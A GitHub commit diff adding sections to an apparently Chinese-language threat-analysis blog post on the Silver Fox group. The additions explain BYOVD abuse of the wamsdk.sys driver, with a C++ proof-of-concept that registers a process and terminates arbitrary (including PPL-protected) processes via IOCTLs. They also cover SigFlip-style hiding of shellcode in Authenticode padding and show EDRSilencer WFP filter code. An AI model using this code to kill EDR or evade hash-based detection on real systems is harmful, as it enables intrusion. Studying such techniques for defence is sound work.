Skip to content

Commit dd6d1ca

Browse files
Refactor code structure for improved readability and maintainability
1 parent 8616f62 commit dd6d1ca

4 files changed

Lines changed: 116 additions & 2 deletions

File tree

_posts/1.png

120 KB
Loading

_posts/2.png

223 KB
Loading

_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md

Lines changed: 116 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,7 @@ pythonmemorymodule.MemoryModule(data=data)
7676

7777
以下是基于 EDRSilencer 核心逻辑的代码片段,展示了如何配置 WFP 过滤器以阻断特定进程的流量:
7878

79-
```c
79+
```cpp
8080
// 设置过滤器显示名称(用于 netsh wfp show filters 等管理命令)
8181
filter.displayData.name = filterName;
8282

@@ -139,4 +139,118 @@ if (result == ERROR_SUCCESS) {
139139
} else {
140140
printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
141141
}
142-
```
142+
```
143+
144+
## BYOVD
145+
146+
**BYOVD (Bring Your Own Vulnerable Driver)** 是一种利用合法签名但存在漏洞的驱动程序来实现内核级攻击的技术。由于 Windows 驱动程序运行在 Ring 0(内核态),拥有最高的系统权限,攻击者无需自己编写驱动(这通常会被驱动签名强制执行机制拦截),而是直接携带一个已被微软签名的、但存在已知漏洞的合法驱动。加载该驱动后,攻击者便可利用其漏洞实现以下目标:
147+
148+
* 任意内核内存读写
149+
* 关闭或绕过 EDR/AV 的内核回调 (Kernel Callbacks)
150+
* 提权至 SYSTEM 权限
151+
* 隐藏恶意进程或文件
152+
153+
要判断一个 `.sys` 驱动是否存在可利用空间,通常可以检查其 IOCTL 处理程序是否调用了以下内核函数且未做严格的权限校验:
154+
155+
* `ZwOpenProcess`:获取进程句柄
156+
* `ZwTerminateProcess`:终止进程
157+
* `ZwWriteVirtualMemory`:破坏进程内存
158+
* `ZwAllocateVirtualMemory`:分配内存(通常配合写入使用)
159+
* `MmCopyVirtualMemory`:拷贝内存(可用于破坏进程内存)
160+
161+
银狐自诞生之初就在不断利用漏洞驱动与杀软/EDR 进行对抗。可以肯定的是,他们拥有独立的研究团队,并持续发掘潜在的 BYOVD 资源。无论是从开源项目还是其他渠道获取,其利用的漏洞驱动数量极高,且相当一部分是未知的,或者尚未被收录在 [LOLDrivers](https://www.loldrivers.io/) 项目中。
162+
163+
### wamsdk.sys
164+
165+
根据 Check Point 在 2025 年 8 月发布的[报告](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/),银狐利用了 **WatchDog Antimalware** 软件中的 `wamsdk.sys` 驱动,通过调用 `ZwTerminateProcess` 来强制结束 EDR/杀软进程。两个月后,安全研究员 j3h4ck 在 GitHub 上开源了此驱动的 POC:[WatchDogKiller](https://github.com/j3h4ck/WatchDogKiller)。截至 10 月份,此漏洞驱动尚未被 LOLDrivers 和微软的漏洞驱动阻止列表(Microsoft Vulnerable Driver Blocklist)收录。
166+
167+
`wamsdk.sys` 暴露了两个具有严重安全缺陷的 IOCTL:
168+
169+
| IOCTL | Code | 功能 |
170+
| :--- | :--- | :--- |
171+
| `IOCTL_REGISTER_PROCESS` | `0x80002010` | 注册进程到授权白名单 |
172+
| `IOCTL_TERMINATE_PROCESS` | `0x80002048` | 终止任意进程 |
173+
174+
**漏洞解析:**
175+
176+
1. `IOCTL_REGISTER_PROCESS` 存在严重逻辑缺陷,任何进程都可以将自己的 PID 注册到白名单中,**且无任何权限校验**
177+
178+
![alt text](1.png)
179+
180+
2. 即便 `IOCTL_TERMINATE_PROCESS` 内部有 `ZmnAuthIsRegisteredProcessId` 授权检查,攻击者只需先完成第一步注册,即可轻松绕过。
181+
182+
![alt text](2.png)
183+
184+
3. 驱动最终以内核权限调用 `ZwTerminateProcess`,这将绕过所有用户态保护机制(包括 PPL 保护进程)。
185+
186+
![alt text](3.png)
187+
188+
至此,该驱动可以在开启了 HVCI (Hypervisor-Protected Code Integrity) 的最新版 Windows 11 机器上成功运行。下面是 POC 的关键代码片段:
189+
190+
```cpp
191+
// ========== Step 1: 注册自己到白名单(绕过授权检查) ==========
192+
DWORD pid = GetCurrentProcessId();
193+
DeviceIoControl(
194+
hDevice,
195+
0x80002010, // IOCTL_REGISTER_PROCESS
196+
&pid, sizeof(pid), // 只需传入自己的 PID,无任何校验!
197+
NULL, 0, &bytesReturned, NULL
198+
);
199+
200+
// ========== Step 2: 杀掉任意目标进程 ==========
201+
typedef struct {
202+
DWORD ProcessId; // 目标 PID
203+
DWORD WaitForExit; // 是否等待退出
204+
} TERMINATE_REQUEST;
205+
206+
TERMINATE_REQUEST req = { targetPid, 0 };
207+
DeviceIoControl(
208+
hDevice,
209+
0x80002048, // IOCTL_TERMINATE_PROCESS
210+
&req, sizeof(req), // 内核态 ZwTerminateProcess,无视 PPL 保护
211+
NULL, 0, &bytesReturned, NULL
212+
);
213+
```
214+
215+
## SigFlip
216+
217+
**SigFlip** 利用了 Windows Authenticode 签名机制的一个设计特性:允许在不破坏数字签名有效性的情况下,向已签名的 PE 文件中嵌入任意数据。
218+
219+
这一特性与 `WIN_CERTIFICATE` 结构有关:
220+
221+
```c
222+
typedef struct _WIN_CERTIFICATE {
223+
DWORD dwLength; // 证书表大小
224+
WORD wRevision; // 版本
225+
WORD wCertificateType; // 证书类型
226+
BYTE bCertificate[]; // 实际证书数据(PKCS#7 SignedData)
227+
} WIN_CERTIFICATE;
228+
```
229+
230+
SigFlip 的核心原理是在 `bCertificate` 字段后面追加数据(Padding)。由于这部分数据不参与哈希计算,因此不会破坏签名的完整性。具体流程如下:
231+
232+
1. 加载 PE 文件并验证现有签名。
233+
2. 定位 `IMAGE_DIRECTORY_ENTRY_SECURITY`(Optional Header 中的安全目录)。
234+
3. 获取证书表的 RVA (Relative Virtual Address) 和 Size。
235+
4. 在证书表末尾追加自定义数据(如 Shellcode 或加密配置)。
236+
5. 更新 `WIN_CERTIFICATE.dwLength` 和目录项的 Size。
237+
6. 重新计算并更新 PE 文件的 Checksum。
238+
239+
银狐利用此工具来绕过基于哈希的检测机制(例如安全厂商通过拉黑易受攻击驱动的文件哈希来防御 BYOVD)。通过制造同一驱动的不同变种(Hash 不同但签名依然有效),银狐将 BYOVD 漏洞驱动的生命周期利用到了极致。此外,这种技术也可用于其他“白利用”场景。
240+
241+
开源工具 [gSigFlip](https://github.com/akkuman/gSigFlip) 提供了现成的 CLI 程序,可用于快速生成改造过的签名 PE 文件:
242+
243+
```powershell
244+
Usage of gSigFlip.exe:
245+
-out string
246+
output pe file path (default "out.exe")
247+
-pe string
248+
pe file path which you want ot hide data
249+
-sf string
250+
the path of the file where shellcode is stored
251+
-tag string
252+
the tag you want to use, support "\x1a \xdf" "\x1a\xdf" "1a, df" "1a df" (default "fe ed fa ce fe ed fa ce")
253+
-xor string
254+
the xor key you want to use
255+
```
256+

_posts/3.png

162 KB
Loading

0 commit comments

Comments
 (0)